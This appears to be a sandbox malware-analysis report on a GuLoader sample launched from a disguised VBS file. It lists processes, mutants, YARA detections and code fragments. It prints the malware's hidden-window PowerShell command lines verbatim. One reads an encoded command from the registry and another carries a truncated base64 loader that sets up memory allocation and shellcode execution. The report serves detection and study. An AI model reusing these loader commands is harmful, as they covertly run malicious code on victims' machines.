Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7688:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4544:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2624:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\{9bd83597-93e4-4366-8889-6a4efb8a5fe8}

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\IMG 0045434.vbs"

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source:	Binary string: caspol.pdbx source: CasPol.exe, 00000010.00000003.266576966136.00000000208A2000.00000004.00000800.00020000.00000000.sdmp, dslmon.exe, 00000014.00000002.266736797377.0000000000B62000.00000002.00000001.01000000.00000007.sdmp, dslmon.exe, 0000001A.00000002.266898010453.0000000000BF2000.00000002.00000001.01000000.00000007.sdmp, dslmon.exe.16.dr
Source:	Binary string: caspol.pdb source: dslmon.exe, dslmon.exe, 0000001A.00000002.266898010453.0000000000BF2000.00000002.00000001.01000000.00000007.sdmp, dslmon.exe.16.dr

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000010.00000000.266464354998.0000000001300000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.268221853538.0000000000F00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000000.268214047867.0000000000E00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAG
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAG
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAG
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAG

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_081ECA74 push eax; mov dword ptr [esp], ecx	10_2_081ECA9C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_082301B8 push eax; mov dword ptr [esp], edx	10_2_082301CC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_08235399 pushfd ; retf	10_2_0823539F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_08230440 push eax; mov dword ptr [esp], edx	10_2_0823053C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_08231500 push cs; ret	10_2_08231517
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_088D1D67 push edx; iretd	10_2_088D1D6B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_089BE4DE push esp; ret	10_2_089BE4E1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0815C99F push ss; ret	19_2_0815C9B9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0815D989 pushad ; retf	19_2_0815D995
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_081B2B17 push eax; mov dword ptr [esp], edx	19_2_081B2B2C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_081BCBF0 push es; ret	19_2_081BCC00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0845214C pushad ; ret	19_2_0845214D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_08562B60 push eax; iretd	19_2_08562B61
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_08560FC8 pushad ; ret	19_2_08560FC9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_089A78E8 push eax; mov dword ptr [esp], edx	19_2_089A78FC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_089ACDF0 push eax; mov dword ptr [esp], edx	19_2_089ACE04
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_02B470E3 pushad ; ret	25_2_02B470F4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_02B43F60 push es; ret	25_2_02B43F70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_079603ED push eax; mov dword ptr [esp], edx	25_2_0796044C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_08174350 pushfd ; iretd	25_2_08174351
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_08171FB0 push esp; ret	25_2_08171FB1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_081737E0 push esp; retf	25_2_081737E1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_08185F40 push eax; mov dword ptr [esp], edx	25_2_08185F6C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_03283730 pushad ; iretd	28_2_03283731
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_03280A86 push FFFFFF8Bh; retf	28_2_03280A8F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_0840EB1F pushfd ; ret	28_2_0840EB21
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_08616FDA push esp; ret	28_2_08616FE9

